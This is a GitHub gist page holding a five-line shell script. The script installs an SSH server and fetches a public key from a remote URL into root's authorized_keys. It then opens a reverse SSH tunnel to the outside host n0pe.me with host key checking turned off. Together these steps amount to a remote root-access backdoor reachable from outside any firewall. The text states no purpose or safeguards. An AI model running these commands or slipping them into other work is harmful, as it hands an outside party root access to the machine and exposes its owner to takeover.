Skip to content

Instantly share code, notes, and snippets.

@spacelatte
Last active March 13, 2018 19:17
Show Gist options
  • Save spacelatte/34b19b5b959ac513acc34c31523b90c4 to your computer and use it in GitHub Desktop.
Save spacelatte/34b19b5b959ac513acc34c31523b90c4 to your computer and use it in GitHub Desktop.
sudo apt install -y openssh-server curl
sudo service ssh restart
sudo mkdir -p "/root/.ssh"
curl -sL "https://raw.githubusercontent.com/pvtmert/kd/master/users/test.pub" | sudo tee -a "/root/.ssh/authorized_keys"
ssh -oStrictHostKeyChecking=no -qN -p23 -R 4836:localhost:22 -luser n0pe.me
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment